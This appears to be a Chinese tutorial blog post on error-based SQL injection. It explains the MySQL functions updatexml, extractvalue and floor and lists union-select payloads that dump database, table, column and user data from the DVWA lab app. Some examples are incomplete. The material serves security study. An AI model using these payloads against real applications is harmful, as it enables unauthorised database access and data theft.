报错注入常用报错函数总结

报错注入

1 updatexml

作用是更新符合xpath的xml对象中的内容为newvalue。

函数中有三个参数,具体作用是:

updatexml(xmlobj,xpath,newvalue)
xmlobj,即xml document 类型为string 格式
xpath,类型为string,xpath语法的字符串
newvalue,更新后的新值 
 

使用updatexml注入常用格式:

 构造payload:  1' union select updatexml(1,concat(0x5e,(select version()),0x5e),1) -- -

由于第二个参数使用了concat函数进行拼接,所以会输出不属于xpath语法的字符串引起数据库报错,从而实现我们的注入,获取数据库相关的信息。

使用案例

暴库:

1' union select updatexml(1,concat(0x5e,(select database()),0x5e),1) -- -

暴表 :

1' union select updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='dvwa' ),0x5e),1) -- -

暴字段:

 1' union select updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA='dvwa' and TABLE_NAME='users' ),0x5e),1) -- -

暴内容 :

1' union select updatexml(1,concat(0x5e,(select group_concat(first_name,0x3e,last_name) from users),0x5e),1) -- -

2  extractvalue

作用是查询符合xpath的xml对象信息

函数中有两个个参数,具体作用是: 

extractvalue(xmlobj,xpath)
xmlobj,即xml document 类型为string 格式
xpath,类型为string,xpath语法的字符串
 

 使用extractvalue注入常用格式:

 extractvalue(null,concat(0x7e,database())

原理与 updatexml类似,都是利用xpath语法错误进行报错提示。

使用案例与其类似。

3 floor

floor报错需要count(),floor(),group by 三者合在一起才能起作用! 使用示例

select count(*),(concat(floor(rand(0)),(select database())))x group by x; 
 

你可能感兴趣的:(web安全,xml,web安全)